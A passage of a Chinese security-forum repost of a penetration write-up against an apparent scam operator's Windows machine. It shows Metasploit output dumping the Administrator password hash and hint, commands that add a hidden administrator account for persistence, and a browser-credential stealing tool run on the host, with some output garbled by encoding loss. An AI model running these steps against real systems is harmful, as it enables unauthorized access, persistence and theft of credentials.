  5. [*] Hashes will be saved to the database if one is connected.
  6. [+] Hashes will be saved in loot in JtR password file format to:
  7. [*] /root/.msf4/loot/20230424150458_default_192.168.33.33_windows.hashes_298860.txt
  8. [*] Dumping password hashes...
  9. [*] Running as SYSTEM extracting hashes from registry
  10. [*]     Obtaining the boot key...
  11. [*]     Calculating the hboot key using SYSKEY 649284e2a99bbf2979dd3b8f9cfbc0a2...
  12. [*]     Obtaining the user list and keys...
  13. [*]     Decrypting user keys...
  14. [*]     Dumping password hints...
  15. [+]     Administrator:"teamssix.com"
  16. [*]     Dumping password hashes...
  17. [+]     Administrator:500:aad3b435b51404eeaad3b435b51404ee:c8431481a6558ef85501b7a68c64cf47:::
复制代码
查不到就给你创建一个账户

利刃信安注:

常用用户管理命令:


  1. 添加新用户
  2. net user k8team k8team!@#? /add
  3. 加入管理员组
  4. net localgroup administrators k8team /add
复制代码
  1. C:\Windows\system32>

  2. net user admin$ 12345678 /add



  3. net user admin$ 12345678 /add
  4. �����ɹ����ɡ�


  5. C:\Windows\system32>net user
  6. net user

  7. \\ ���û��ʻ�

  8. -------------------------------------------------------------------------------
  9. Administrator            Guest                    
  10. �����������ϣ�������һ��������������
复制代码
放到管理员组后面监控他

然后传我们的信息收集脚本

看看能不能再斩获些信息
  1. C:\>

  2. hack-browser-data-windows-64bit.exe



  3. hack-browser-data-windows-64bit.exe
  4. [NOTICE] [browser.go:47,pickChromium] find browser Chromium failed, profile folder does not exist  
  5. [NOTICE] [browser.go:47,pickChromium] find browser Opera failed, profile folder does not exist  
  6. [NOTICE] [browser.go:47,pickChromium] find browser OperaGX failed, profile folder does not exist  
  7. [NOTICE] [browser.go:47,pickChromium] find browser CocCoc failed, profile folder does not exist  
  8. [NOTICE] [browser.go:47,pickChromium] find browser Yandex failed, profile folder does not exist  
  9. [NOTICE] [browser.go:47,pickChromium] find browser 360speed failed, profile folder does not exist  
  10. [NOTICE] [browser.go:47,pickChromium] find browser QQ failed, profile folder does not exist  
  11. [NOTICE] [browser.go:47,pickChromium] find browser Microsoft Edge failed, profile folder does not exist  
  12. [NOTICE] [browser.go:47,pickChromium] find browser Chrome Beta failed, profile folder does not exist  
  13. [NOTICE] [browser.go:47,pickChromium] find browser Vivaldi failed, profile folder does not exist  
  14. [NOTICE] [browser.go:47,pickChromium] find browser Brave failed, profile folder does not exist  
  15. [NOTICE] [browser.go:47,pickChromium] find browser Chrome failed, profile folder does not exist  
  16. [NOTICE] [browser.go:91,pickFirefox] find browser firefox Firefox failed, profile folder does not exist  

  17. C:\>dir
  18. dir
  19. ������ C �еľ�û�б�ǩ��
  20. ��������� ACD4-4FD6

  21. C:\ ��Ŀ¼

  22. 2023/04/24  16:48         8,162,816 hack-browser-data-windows-64bit.exe
  23. 2009/07/14  11:20    <DIR>          PerfLogs
  24. 2019/10/05  15:55    <DIR>          Program Files
  25. 2023/04/24  15:45    <DIR>          Program Files (x86)
  26. 2023/04/24  16:44    <DIR>          results
  27. 2023/04/24  15:28    <DIR>          Users
  28. 2023/04/24  14:09    <DIR>          Windows
  29.                1 ���ļ�      8,162,816 ��
  30.                6 ��Ŀ¼ 10,906,554,368 ������
复制代码
打包带走


直接拿到邮箱账号密码

抓紧时间抓人吧,这帮骗子罪恶滔天!

利刃信安注:

经济越来越不景气了,高气盛不玩毒品玩诈骗了!

原文地址:

  1. https://xz.aliyun.com/t/12523
复制代码


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-3-28 18:16 , Processed in 0.017603 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表